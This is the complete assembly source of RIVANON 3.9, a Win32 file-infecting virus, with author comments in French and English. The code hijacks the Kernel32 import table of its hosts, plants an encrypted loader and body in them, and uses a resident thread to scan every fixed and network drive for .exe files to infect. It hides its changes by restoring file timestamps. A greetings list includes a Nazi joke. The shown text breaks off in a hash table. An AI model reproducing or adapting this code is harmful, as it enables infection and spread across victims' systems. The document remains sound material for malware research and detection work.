MalwareSourceCode/Win32/Infector/Win32.Rivanon.asm
2020-10-16 23:26:21 +02:00

1522 lines
32 KiB
NASM

;RIVANON virus, version 3.9 by Doxtor L. [TKT], June 2003.
;Contact: doxtorl38@yahoo.fr
;This source code is intended to be compiled using FASM, an open source
;assembler easily available on the web.
;Some not so usual features:
;* This virus don't change entry point of infected programs.
;* This virus don't patch opcodes of infected programs.
;* This virus don't change section attributes of infected programs.
;Here a list of some standard features used:
;* Use of a thread to make the virus 'residant'.
;* Use of hash codes to retrieve functions of Kernel32 needed.
;* Use of a traversal directory routine to parse all drives.
;* Use of SEH to make the virus more stable.
;* Use of the last section to put the main part of virus.
;* Use of encryption with a 'random' key.
;* Use of mutex to avoid to have several instances of virus infecting
; in same time.
;How does this virus work?
;This virus is my new attempt to use a non-standard E.P.O (entry point
;obscuring) technique. My last attempt in the same way was the writing of
;idele virus. Unfortunately this virus was a bit limited to not say buggy.
;I think RIVANON virus fixes the main 'bug' of idele virus yet RIVANON was
;totally re-written.
;The idea is to create a new import table therefore the 'old' table will be
;not changed when Windows will load the program in memory but the program will
;continue to 'believe' this table is still alright.The 'old' table can be fill
;up with addresses we want. These addresses will be pointing to addresses of
;elements of a 'push table'. What's that?
;When a host program will call a function from Kernel32 several push's will be
;executed depending wich function is called. The number of push's executed
;will be used to know wich function of Kernel32 was called by host program.
;Sometime, Idele virus wasn't able to know wich function was called.
;After the push's, there is a small routine used to decrypt and allocate some
;memory to put the main part of virus there. GlobalAlloc function from
;Kernel32 is used to achieve this. For Windows this function is the only one
;imported from Kernel32 by an infected program.
;The virus will put a loader routine in the end of code section of target
;programs. A data section with 'writeable' attribute will be used to put the
;new 'import table'. The main code will be put in the end of last section.
;This virus was tested on both Windows98 SE and Windows 2000.
;Main tests were performed on notepad.exe and calc.exe from Windows98,
;These programs when they were infected were still running fine on both
;Windows 98 and Windows 2000. For Windows XP i don't have a clue because
;i don't use it.
;Here a list of macros and subroutines used:
;* proc_infectieuse : start of thread code
;* GEN_ALEATOIRE ; random generator
;* RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT : routine to find targets
; in current directory
;* INFECTION : routine to modify target
;* proc_seh : seh handler
;* copie_chaine : routine to copy ASCII
; string null terminated.
;* rva_vers_adr_map ; rva to map address routine
;* adr_map_vers_rva ; map address to rva routine
;* aligne ; align section size fields
;* debut_loader ; loader routine
;The source code has some comments in french. Anyway, this source code
;isn't intended to be read by beginners in vx world. The advanced vxers
;don't really need comments to understand how this code works, the code is
;enough structured to make it readable without comments.
;DISCLAIMER:
;This program is a virus, it's not destructive but has ability to infect
;all O.S Win32 based computers. I don't release this source code to be used
;to infect innocent user puters. It was created for research aims.
;Your are the only responsible if you decide to run it.
;IF YOU DON'T KNOW WHAT YOU'RE DOING, DON'T COMPILE IT!
;Greetings:
;Virusbuster : Thanks to publish my stuff.
;Lord Julus : For your working search traversal routine.
;Darkman : A good nazi can sing Horst Vessel lied by heart.
;Morphie : Too bad we didn't meet in Paris.
;Gigabyte : Editing a vx e-zine is a hard job you're right.
;Toofic : I'm not a pervert old man.
;Mandrag0re : Who's the next to be hacked?
;Emper0r : Thanks to publish my stuff in IOC.
;Delly : A good magician can make disappear everything..but you're
; the greatest, you can make appear weed everywhere!
;Cryptic : I remember i must install my network card.
;Gato : I hope everything is alright now, no news from you.
;Slagehammer : A new sample for your collection.
;Vecna : I'm wondering what is your contribution to 29a7!
;And all members of TKT group
;IN MEMORY OF T2
format PE GUI
entry commencement
include 'include\macro\import.inc'
include 'include\macro\stdcall.inc'
include 'include\exehdr.inc'
include 'include\kernel.inc'
DEBUG=TRUE
ADR_BASE=400000h
ALIGNEMENT_FICHIER_STANDARD=200h
ALIGNEMENT_MEMOIRE_STANDARD=1000h
DUREE_PAUSE1=120000
DUREE_PAUSE2=30000
MODULE=4235536237
SIGNATURE_VIRAL equ 'VX'
if DEBUG=TRUE
TYPE_FICHIER_RECHERCHE0 equ 'e'
SEH=FALSE
display "YOU'RE COMPILING THE DEBUG VERSION OF RIVANON VIRUS",CRLF
else
TYPE_FICHIER_RECHERCHE0 equ '*'
SEH=TRUE
display "YOU'RE COMPILING INFECTIOUS VERSION OF RIVANON VIRUS",CRLF
end if
display "IF YOU DON'T KNOW WHAT YOU'RE DOING PLEASE ERASE THIS PROGRAM",CRLF
TYPE_FICHIER_RECHERCHE1 equ 'x.ex'
TOUT_FICHIER equ '*'
REMONTE equ '..'
REPERTOIRE_COURANT equ '.'
REPERTOIRE_PARENT equ REMONTE
DERNIER_3_BIT=111b
;'strutures':
IMAGE_DOS_HEADER ecx,edx,edi
IMAGE_FILE_HEADER ecx,edx,esi
IMAGE_OPTIONAL_HEADER edx,edi
IMAGE_SECTION_HEADER esi,edi
IMAGE_DATA_DIRECTORY eax,esi
IMAGE_IMPORT_DESCRIPTOR esi
IMAGE_IMPORT_BY_NAME eax
IMAGE_EXPORT_DIRECTORY eax
WIN32_FIND_DATA edi,eax
adr_mem_alloc dd 0
;macros utilisees par le virus:
macro GEN_ALEATOIRE
{
;generateur aleatoire base sur BBS:
pushad
mov ebx,MODULE
mov eax,[seed+ebp]
mul eax
div ebx
mov [seed+ebp],edx
popad
}
;[Debut du code de la fonction principale du virus]:
macro INFECTION
{
infection:
pushad
if SEH=TRUE
push ebp
lea eax,[proc_seh+ebp]
push eax dword [fs:0]
mov dword [fs:0],esp
end if
;[Ouverture du fichier cible et creation de son image memoire]:
lea edi,[struct_recherche+ebp]
lea esi,[edi.WFD_szFileName]
stdcall [SetFileAttributesA+ebp],esi,FILE_ATTRIBUTE_NORMAL
add dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER
xor ebx,ebx
stdcall [CreateFileA+ebp],esi,GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ,ebx,OPEN_EXISTING,ebx,ebx
inc eax
jz err_infection
dec eax
mov [handle_fichier_cible+ebp],eax
stdcall [CreateFileMappingA+ebp],eax,ebx,PAGE_READWRITE,ebx,\
dword [edi.WFD_nFileSizeLow],ebx
test eax,eax
jz err_infection
mov [handle_map_cible+ebp],eax
stdcall [MapViewOfFile+ebp],eax,FILE_MAP_ALL_ACCESS,ebx,ebx,ebx
test eax,eax
jz err_infection
mov [adr_map_cible+ebp],eax
mov edx,eax
;[Fin de la creation de l'image memoire du fichier cible]
;[Debut de la verification du fichier cible]:
cmp word [edx.MZ_magic],MZ_MAGIC
jnz err_infection
movzx eax,word [edx.MZ_csum]
cmp word [edx.MZ_csum],SIGNATURE_VIRAL
jz err_infection
mov eax,dword [edx.MZ_lfanew]
cmp eax,dword [edi.WFD_nFileSizeLow]
jae err_infection
add edx,eax
mov [adr_map_IMAGE_FILE_HEADER_cible+ebp],edx
cmp dword [edx.FH_Signature],PE_MAGIC
jnz err_infection
;[Debut de la recherche de la section 'code', la section qui contient
;le point d'entree du programme cible]:
movzx ebx,word [edx.FH_SizeOfOptionalHeader]
movzx ecx,word [edx.FH_NumberOfSections]
push ecx
add edx,sizeof.IMAGE_FILE_HEADER
mov [adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp],edx
mov dword [edx.OH_FileAlignment],ALIGNEMENT_FICHIER_STANDARD
mov eax,dword [edx.OH_ImageBase]
mov [adr_image_base+ebp],eax
;a partir d'ici la variable adr_image_base concerne la cible
mov eax,dword [edx.OH_AddressOfEntryPoint]
add edx,ebx
mov [adr_map_IMAGE_SECTION_HEADER_cible+ebp],edx
mov esi,edx
recherche_section_code:
cmp dword [esi.SH_VirtualAddress],eax
ja section_code_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_code
jmp err_infection
section_code_trouve:
;[Fin de la routine de recherche de la section 'code];
;[Debut de la localisation d'un espace 'vide' et de sa taille dans
;la fin de la section 'code']:
mov edi,dword [esi.SH_PointerToRawData]
add edi,[adr_map_cible+ebp]
dec edi
std
xor eax,eax
xor ecx,ecx
dec ecx
rep scasb
neg ecx
sub ecx,10 ;pour tenir compte de la presence eventuelle d'une
add edi,10 ;'table d'import' (celle ci se finissant par db 0,0,0,0)
mov [nbre_octet_libre_sect_code_cible+ebp],ecx
mov [adr_map_espace_libre_sect_code_cible+ebp],edi
sub esi,sizeof.IMAGE_SECTION_HEADER
call aligne
pop ecx
;si la section code a l'attribut ecriture mieux vaut abandonner l'infection:
test dword [esi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jnz err_infection
;[Fin de la localisation d'un espace dans la section 'code']
;[Debut de la localisation d'un espace vide a la fin d'une section 'data']:
mov esi,edx
recherche_section_data:
test dword [esi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jnz section_data_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_data
jmp err_infection
section_data_trouve:
cmp dword [esi.SH_PointerToRawData],0
jz recherche_section_data
dec ecx
jz err_infection
inc ecx
mov edi,dword [esi.SH_PointerToRawData+sizeof.IMAGE_SECTION_HEADER]
add edi,[adr_map_cible+ebp]
sub edi,4
cmp dword [edi],0
jnz recherche_section_data
sub edi,4
cmp dword [edi],0
jnz recherche_section_data
mov [adr_map_espace_libre_sect_data_cible+ebp],edi
call aligne
;[Fin de la localisation d'un espace vide dans la section 'data']
;[Recherche de le structure IMAGE_IMPORT_DESCRIPTOR dediee aux imports
;de Kernel32]:
mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea esi,[edx+sizeof.IMAGE_OPTIONAL_HEADER+sizeof.IMAGE_DATA_DIRECTORY]
;esi pointe sur la structure IMAGE_DATA_DIRECTORY dediee a l'import:
mov esi,dword [esi.DD_VirtualAddress]
stdcall rva_vers_adr_map,esi
mov esi,eax
sub esi,sizeof.IMAGE_IMPORT_DESCRIPTOR
recherche_k32_image_import_descriptor:
add esi,sizeof.IMAGE_IMPORT_DESCRIPTOR
mov edi,dword [esi.ID_Name]
test edi,edi
jz err_infection
stdcall rva_vers_adr_map,edi
mov edi,eax
cmp dword [edi],'KERN'
jnz recherche_k32_image_import_descriptor
add edi,4
cmp dword [edi],'EL32'
jnz recherche_k32_image_import_descriptor
mov [adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp],esi
;[Fin de la recherche de la structure IMAGE_IMPORT_DESCRIPTOR]
mov eax,[esi.ID_FirstThunk]
push eax
add eax,[adr_image_base+ebp]
mov [adr_1st_thunk_avant_infection_hote+ebp],eax
pop eax
stdcall rva_vers_adr_map,eax
mov [adr_map_1st_thunk_k32_cible+ebp],eax
mov esi,dword [esi.ID_OriginalFirstThunk]
test esi,esi
jz err_infection
mov [rva_orig_1st_thunk_avant_infection_hote+ebp],esi
stdcall rva_vers_adr_map,esi
mov [adr_map_original_1st_thunk_k32_cible+ebp],eax
;[Debut du calcul du nombre de fonctions de Kernel32 importees par le
;programme cible]:
mov esi,eax
mov edi,eax
cld
xor eax,eax
xor ecx,ecx
dec ecx
repne scasd
neg ecx
dec ecx
dec ecx
mov [nbre_fct_k32_cible+ebp],ecx
lea ebx,[ecx+TAILLE_LOADER+2*sizeof.IMAGE_THUNK_DATA]
mov ecx,[nbre_octet_libre_sect_code_cible+ebp]
sub ecx,ebx
jl err_infection
add [adr_map_espace_libre_sect_code_cible+ebp],ecx
;[Fin du calcul du nombre de fonctions importees de Kernel32]
mov ebx,esi
;[Recherche d'une fonction de Kernel32 importee par la cible
;dont le nom a au moins 11 symboles]:
xor ebx,ebx
dec ebx
recherche_nom_fct_k32_cible:
inc ebx
lodsd
test eax,eax
jz err_infection
mov [rva_IMAGE_IMPORT_BY_NAME_cible+ebp],eax
mov ecx,eax
stdcall rva_vers_adr_map,eax
lea edi,[eax.IBN_Name]
mov edx,edi
pushad
xor eax,eax
xor ecx,ecx
mov cl,11
repne scasb
popad
jz recherche_nom_fct_k32_cible
;[Fin de la verification du fichier cible]
pushad
mov esi,edx
mov word [esi-2],0
mov [index_fct_k32_altere_hote+ebp],ebx
lea edi,[sz_nom_fct_k32_altere_hote+ebp]
call copie_chaine
lea esi,[sz_nom_globalalloc+ebp]
mov edi,edx
call copie_chaine
popad
;[Fin de la recherche d'une fonction de Kernel32 importee dont le nom a au
;moins 11 symboles]
;mov edi,[adr_map_espace_libre_sect_code_cible+ebp]
mov edi,[adr_map_espace_libre_sect_data_cible+ebp]
stdcall adr_map_vers_rva,edi
mov ebx,eax
mov eax,[rva_IMAGE_IMPORT_BY_NAME_cible+ebp]
stosd ;la RVA de la structure IMAGE_IMPORT_BY_NAME de Kernel32 est
;transferee dans la section code. La RVA de l'emplacement
;contenant ceci sera la nouvelle valeur FirstThunk de la
;cible.
mov edi,[adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp]
xor eax,eax
stosd ;construction OriginalFirstThunk
stosd ;TimeDateStamp
stosd ;ForwarderChain
add edi,4
mov eax,ebx ;construction FirstThunk
stosd
add ebx,[adr_image_base+ebp]
mov [ptr1_adr_globalalloc+ebp],ebx
mov [ptr2_adr_globalalloc+ebp],ebx
;[Debut de la reconstruction de la table des thunk_data pointee par
;first_thunk]:
mov eax,[adr_map_espace_libre_sect_code_cible+ebp]
push eax
stdcall adr_map_vers_rva,eax
add eax,[adr_image_base+ebp]
mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
mov edi,[adr_map_1st_thunk_k32_cible+ebp]
element_suivant_tab_thunk_data:
stosd
inc eax
loop element_suivant_tab_thunk_data
;[Fin de la reconstruction de la table]
;[Debut de la construction de la "table des push"]:
sub eax,[adr_image_base+ebp]
stdcall rva_vers_adr_map,eax
mov [adr_map_loader_sect_code_cible+ebp],eax
pop ecx
pop edi
;[Determination de l'instruction PUSH qui va etre transferee]:
lea eax,[struct_recherche+ebp]
mov al,[eax.WFD_szFileName]
and al,DERNIER_3_BIT
add al,50h
;[Fin de la determination]
element_suivant_table_push:
stosb
loop element_suivant_table_push
;[Fin de la construction de la "table des push"]
;[Debut de la destruction de l'en-tete de la directory BOUND_IMPORT_DIRECTORY]:
mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea edi,[edi+sizeof.IMAGE_OPTIONAL_HEADER+11*sizeof.IMAGE_DATA_DIRECTORY]
xor eax,eax
stosd
stosd
;[Fin de la destruction]
;[Debut de la routine de transfert des deux parties du virus]:
mov esi,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [esi.FH_NumberOfSections]
dec ecx
mov eax,sizeof.IMAGE_SECTION_HEADER
mul ecx
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
lea esi,[esi+eax]
lea edx,[esi.SH_SizeOfRawData]
mov ecx,dword [edx]
add dword [edx],TAILLE_VIRUS_ALIGNE_FICHIER
add dword [esi.SH_VirtualSize],TAILLE_VIRUS_ALIGNE_MEMOIRE
call aligne
mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
add dword [edx.OH_SizeOfImage],TAILLE_VIRUS_ALIGNE_MEMOIRE
mov edx,dword [esi.SH_PointerToRawData]
add edx,ecx
add edx,dword [adr_map_cible+ebp]
stdcall adr_map_vers_rva,edx
add eax,[adr_image_base+ebp]
mov [adr_fin_derniere_sect_hote+ebp],eax
GEN_ALEATOIRE
mov eax,[seed+ebp]
mov byte [clef+ebp],al
mov edi,[adr_map_loader_sect_code_cible+ebp]
lea esi,[debut_loader+ebp]
cld
mov ecx,TAILLE_LOADER
rep movsb
lea esi,[debut_virus+ebp]
mov edi,edx
mov ecx,TAILLE_VIRUS
call crypt
;on marque la cible pour ne pas la reinfecter
mov edi,[adr_map_cible+ebp]
lea edi,[edi.MZ_csum]
mov ax,'VX'
stosw
;[Fin de la routine de transfert des deux parties du virus]
jmp sortie_infection
err_infection:
lea edi,[struct_recherche+ebp]
sub dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER
;[Debut de la restitution a l'O.S et de la fermeture du fichier cible]:
sortie_infection:
lea edi,[struct_recherche+ebp]
stdcall [UnmapViewOfFile+ebp],[adr_map_cible+ebp]
stdcall [CloseHandle+ebp],[handle_map_cible+ebp]
xor ebx,ebx
mov esi,[handle_fichier_cible+ebp]
stdcall [SetFilePointer+ebp],esi,dword [edi.WFD_nFileSizeLow],ebx,ebx
stdcall [SetEndOfFile+ebp],esi
lea eax,[edi.WFD_ftLastWriteTime]
push eax
lea eax,[edi.WFD_ftLastAccessTime]
push eax
lea eax,[edi.WFD_ftCreationTime]
push eax
push esi
call [SetFileTime+ebp]
stdcall [CloseHandle+ebp],esi
lea eax,[edi.WFD_szFileName]
stdcall [SetFileAttributesA+ebp],eax,dword [edi.WFD_dwFileAttributes]
;[Fin de la fermeture du fichier cible]
if SEH=TRUE
pop dword [fs:0]
pop eax
pop ebp
end if
popad
}
;[Fin de la fonction infectieuse]
;[Debut de la recherche dans le repertoire courant]:
macro RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT
{
recherche_cible_dans_repertoire_courant:
pushad
push TYPE_FICHIER_RECHERCHE0
push TYPE_FICHIER_RECHERCHE1
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx ecx
mov ebx,eax
inc eax
jz sortie_recherche_fichier
fichier_suivant:
INFECTION
stdcall [FindNextFileA+ebp],ebx,esi
test eax,eax
jnz fichier_suivant
sortie_recherche_fichier:
popad
}
;[Fin de la recherche dans le repertoire courant]
;[Debut du programme hote regulier]:
commencement:
invoke faux_Sleep,DUREE_PAUSE1
invoke faux_ExitProcess,0
;[Fin du programme hote regulier]
__ExitProcess:
push eax
__Sleep:
push eax
execution_fct_k32:
pushad
;[Debut reel du virus]:
debut_virus:
;[Calcul du decalage du a la relocation du code du virus]:
call ici
ici:
pop ebp
sub ebp,ici
;[Fin du calcul du a la relocation]
;Premiere execution du code viral
;[Debut de la recherche de l'adresse de Kernel32]:
db 8bh,15h ;mov edx,[<adr>]
ptr1_adr_globalalloc dd ExitProcess
;[Debut de la remise a zero de l'emplacement dans la section 'data' utilise]:
mov edi,[ptr1_adr_globalalloc+ebp]
xor eax,eax
stosd
;[Fin de la remise a zero]
mov eax,edx
recherche_mz:
dec edx
cmp word [edx.MZ_magic],MZ_MAGIC
jnz recherche_mz
;une signature "MZ" a ete trouvee
mov ecx,edx
mov ecx,dword [ecx.MZ_lfanew]
add ecx,edx
jc recherche_mz
cmp ecx,eax
ja recherche_mz
cmp dword [ecx.FH_Signature],PE_MAGIC
jnz recherche_mz
;[Fin de recherche de l'adresse de Kernel32]
;ecx pointe sur l'en-tete IMAGE_FILE_HEADER de Kernel32
;edx contient l'adresse de Kernel32
;[Debut de la recherche des fonctions de Kernel32 utilisees par le virus]:
;eax pointe sur le debut de la structure IMAGE_DIRECTORY_DATA de la directory
;export:
lea eax,[ecx+sizeof.IMAGE_FILE_HEADER+sizeof.IMAGE_OPTIONAL_HEADER]
mov eax,dword [eax.DD_VirtualAddress]
add eax,edx
mov esi,dword [eax.ED_AddressOfNames]
add esi,edx
or ebx,-1
mov ecx,NBRE_FCT_K32_VIRUS
sub esi,4
recherche_adr_fct_k32_virus:
add esi,4
inc ebx
;[Debut du calcul d'un condense pour le nom de la fonction de Kernel32
;en cours de test]:
pushad
mov esi,dword [esi]
add esi,edx
xor eax,eax
xor ecx,ecx
caractere_suivant:
lodsb
or al,al
jz fin_chaine
add cl,al
rol eax,cl
add ecx,eax
jmp caractere_suivant
fin_chaine:
mov [condense+ebp],ecx
popad
;[Fin du calcul du condense]
;[Debut de la recherche du condense dans la table des condenses pre-calcules
;des fonctions de Kernel32 utilisees par le virus]:
push eax
push ecx
mov eax,[condense+ebp]
mov ecx,NBRE_FCT_K32_VIRUS
lea edi,[tab_condense+ebp]
repne scasd
pop ecx
pop eax
jnz recherche_adr_fct_k32_virus
;[Fin de la recherche du condense dans la table]
;[Recuperation de l'adresse de la fonction de Kernel32 dont le condense du nom
;est dans la table]:
pushad
mov ecx,dword [eax.ED_AddressOfNamesOrdinals]
add ecx,edx
movzx ebx,word [ecx+2*ebx]
mov ecx,dword [eax.ED_AddressOfFunctions]
add ecx,edx
mov ecx,dword [ecx+4*ebx]
add ecx,edx
add edi,4*NBRE_FCT_K32_VIRUS-4
mov dword [edi],ecx
popad
;[Fin de la recuperation de l'adresse de la fonction de Kernel32]
loop recherche_adr_fct_k32_virus
;[Fin de la recherche des fonctions de Kernel32 utilisees par le virus]
;[Debut de la recuperation des adresses des fonctions de Kernel32 utilisees
;par l'hote]:
mov esi,[rva_orig_1st_thunk_avant_infection_hote+ebp]
add esi,[adr_image_base+ebp]
lea edi,[tab_adr_fct_k32_hote+ebp]
explore_struct_import_by_name_k32_hote:
lodsd
test eax,eax
jz fin_recuperation_fct_k32_hote
add eax,[adr_image_base+ebp]
pushad
lea ebx,[eax.IBN_Name]
stdcall [GetProcAddress+ebp],edx,ebx
mov dword [esp+28],eax
popad ;seulement eax est modifie
stosd
jmp explore_struct_import_by_name_k32_hote
fin_recuperation_fct_k32_hote:
;[Recuperation de la fonction de Kernel32 dont la structure
;IMPORT_BY_NAME a ete changee pour accueillir le nom GlobalAlloc]:
pushad
lea ebx,[sz_nom_fct_k32_altere_hote+ebp]
stdcall [GetProcAddress+ebp],edx,ebx
mov ecx,[index_fct_k32_altere_hote+ebp]
lea edi,[tab_adr_fct_k32_hote+4*ecx+ebp]
stosd
popad
;[Fin recuperation de la derniere fonction de Kernel32 de l'hote]
;[Fin de la recuperation des adresses utilisees par l'hote]
;[Debut de la restauration de la table pointee par ID_FirstThunk, telle qu'elle
;serait apres demarrage de l'hote qui n'aurait pas ete infecte]:
mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
shl ecx,2
lea eax,[tampon+ebp]
mov ebx,[adr_1st_thunk_avant_infection_hote+ebp]
stdcall [VirtualProtect+ebp],ebx,ecx,PAGE_EXECUTE_READWRITE,eax
pop ecx
lea esi,[tab_adr_fct_k32_hote+ebp]
mov edi,ebx
cld
rep movsd
;[Fin de la restauration de la table]
;[Debut de creation de la thread infectieuse]:
lea esi,[thread_id+ebp]
lea edi,[proc_infectieuse+ebp]
xor eax,eax
stdcall [CreateThread+ebp],eax,eax,edi,eax,eax,esi
;[Fin de la creation de la thread]
;[Determination de l'adresse de la fonction de Kernel32 appelee par l'hote]:
renvoi_vers_fonction_appele:
;transfert du contenu des 8 premiers elements de la pile qui proviennent d'un
;PUSHAD
mov esi,esp
xor ecx,ecx
mov cl,8
cld
lea edi,[tampon_registre+ebp]
rep movsd
add esp,4*8
;on compte le nombre d'elements semblables consecutifs dans la pile
xor ecx,ecx
inc ecx
pop eax
test_pile:
pop ebx
cmp ebx,eax
jnz fin_test_pile
inc ecx
jmp test_pile
fin_test_pile:
push ebx
mov ebx,[nbre_fct_k32_cible+ebp]
sub ebx,ecx
mov eax,[tab_adr_fct_k32_hote+4*ebx+ebp]
pushad
;on restaure la pile telle qu'elle devrait etre sans les PUSH successifs, le
;sommet de la pile sera occupe par les valeurs mises par le PUSHAD du loader
lea esi,[tampon_registre+ebp]
mov edi,esp
xor ecx,ecx
mov cl,8
rep movsd
xchg [esp+28],eax
popad
jmp eax ;fait suivre l'appel a la fonction de Kernel32 appelee
;[Fin de la determination de la fonction appelee]
;[Debut du code de la thread infectieuse]:
proc_infectieuse:
call suite
suite:
pop ebp
sub ebp,suite
mov ebx,'B:\'
faire_une_pause:
stdcall [Sleep+ebp],DUREE_PAUSE2
;[Verification de la presence du virus en memoire]:
lea edi,[signature+ebp]
stdcall [CreateMutexA+ebp],NULL,TRUE,edi
mov [handle_mutex+ebp],eax
test eax,eax
jz fin_thread
call [GetLastError+ebp]
test eax,eax
jnz fin_thread
;[Fin de la verification]
;[Debut de la recherche de programmes cibles]:
recherche_cible:
;[Debut de la determination du drive a explorer]:
cherche_drive:
mov ah,0
mov al,bl
sub al,40h
mov cl,26
div cl
mov bl,ah
add bl,41h
stdcall [GetDriveTypeA+ebp],esp,ebx
pop ecx
cmp al,DRIVE_FIXED
jz exploration_repertoire
cmp al,DRIVE_REMOTE
jnz cherche_drive
;[Fin de la determination du drive a explorer]
;[Debut de l'exploration des repertoires et sous-repertoires]:
exploration_repertoire:
pushad
repertoire_base_recherche:
stdcall [SetCurrentDirectoryA+ebp],esp,ebx
pop eax
xor esi,esi ;esi, nombre de handles dans la pile
lea edi,[ebp+struct_recherche]
recherche_premier_repertoire:
push TOUT_FICHIER
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx
inc eax
je pas_de_sous_repertoire
dec eax
mov ebx,eax
est_ce_un_repertoire:
test dword [edi.WFD_dwFileAttributes],10h
je recherche_repertoire_suivant
lea eax, [edi.WFD_szFileName]
cmp word [eax],REPERTOIRE_COURANT
je recherche_repertoire_suivant
cmp word [eax],REPERTOIRE_PARENT
je recherche_repertoire_suivant
stdcall [SetCurrentDirectoryA+ebp],eax
RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT
push ebx
inc esi
jmp recherche_premier_repertoire
recherche_repertoire_suivant:
stdcall [FindNextFileA+ebp],ebx,edi
test eax,eax
jnz est_ce_un_repertoire
plus_de_sous_repertoire:
stdcall [FindClose+ebp],ebx
pas_de_sous_repertoire:
stdcall [SetCurrentDirectoryA+ebp],esp,REMONTE
pop eax
or esi,esi
jz fin_de_la_recherche
dec esi
pop ebx
jmp recherche_repertoire_suivant
fin_de_la_recherche:
popad
;[Fin de l'exploration]
fin_thread:
stdcall [CloseHandle+ebp],[handle_mutex+ebp]
jmp faire_une_pause
;[Fin de la recherche de programmes cibles]
;[Fin du code de la thread infectieuse]
;[Debut de la routine qui intercepte les erreurs]:
if SEH=TRUE
proc_seh:
mov esp,[esp+8]
mov ebp,[esp+8]
jmp err_infection
end if
;[Fin de la routine qui intercepte les erreurs]
;[Debut de la fonction de recopie d'une chaine de caracteres terminee par 0]:
copie_chaine:
pushad
octet_suivant:
lodsb
stosb ;meme le 0 final de la chaine est recopie
cmp al,0
jnz octet_suivant
popad
ret
;[Fin de la fonction de recopie]
;[Debut de la fonction de conversion d'une RVA en une adresse dans le fichier
;image memoire]:
rva_vers_adr_map:
pop eax
xchg eax,[esp]
pushad
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
cherche_section_par_rva:
cmp dword [esi.SH_VirtualAddress],eax
ja rva_localise
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section_par_rva
rva_localise:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_VirtualAddress]
add eax,dword [esi.SH_PointerToRawData]
add eax,[adr_map_cible+ebp]
mov dword [esp+28],eax
popad
ret
;[Fin de la fonction de conversion d'une RVA]
;[Debut de la fonction de conversion d'une adresse dans l'image memoire
;d'un fichier en une RVA]:
adr_map_vers_rva:
pop eax
xchg eax,[esp]
pushad
sub eax,[adr_map_cible+ebp]
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
cherche_section:
cmp dword [esi.SH_PointerToRawData],eax
ja section_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section
section_trouve:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_PointerToRawData]
add eax,dword [esi.SH_VirtualAddress]
mov dword [esp+28],eax
popad
ret
;[Fin de la fonction de conversion d'une adresse de l'image memoire
;d'un fichier]
;[Debut de la fonction d'alignement des champs taille d'une section]:
aligne:
;les champs taille de la section sur laquelle pointe esi sont alignes
pushad
mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
;alignement memoire:
mov ebx,dword [edi.OH_SectionAlignment]
dec ebx
xor edx,edx
lea ecx,[esi.SH_VirtualSize]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax
;alignement fichier:
mov ebx,dword [edi.OH_FileAlignment]
dec ebx
lea ecx,[esi.SH_SizeOfRawData]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax
popad
ret
;[Fin de la fonction d'alignement]
;[Debut du code du loader du virus]:
debut_loader:
pushad
push 8000
push GPTR
db 0ffh,15h ;call [<adr>] appel a GlobalAlloc en fait
ptr2_adr_globalalloc dd ?
push eax
mov edi,eax
mov ecx,TAILLE_VIRUS
db 0beh ;mov esi,adr
adr_fin_derniere_sect_hote dd ?
crypt:
cld
octet_suivant_a_decrypter:
lodsb
db 34h ;xor al,value
clef db 0
stosb
loop octet_suivant_a_decrypter
exit_loader:
ret
TAILLE_LOADER=$-debut_loader
;[Fin du code du loader]
;zone de donnees qui vont etre greffees au programme cible:
seed dd 1fac3b9dh
nbre_fct_k32_cible dd 2
adr_image_base dd ADR_BASE
adr_1st_thunk_avant_infection_hote dd vrai_ID_FirstThunk_k32
rva_orig_1st_thunk_avant_infection_hote dd RVA vrai_ID_OriginalFirstThunk_k32
index_fct_k32_altere_hote dd 0
sz_nom_fct_k32_altere_hote db 'ExitProcess'
rb 30
sz_nom_globalalloc db 'GlobalAlloc',0
signature db 'RIVANON',0
db 'V 3.9, DrL. [TKT] June 2003'
;Les deux tables qui suivent doivent etre collees l'une a l'autre et l'ordre des elements
;de ces tables respecte.
tab_condense:
dd 0fdbe9ddfh ;CloseHandle
dd 04b00fba1h ;CreateFileA
dd 00d6ea22eh ;CreateFileMappingA
dd 0abfd70b5h ;CreateMutexA
dd 0be307c51h ;CreateThread
dd 0be7b8631h ;FindClose
dd 0c915738fh ;FindFirstFileA
dd 08851f43dh ;FindNextFileA
dd 09c3a5210h ;GetDriveTypeA
dd 091c21cb7h ;GetLastError
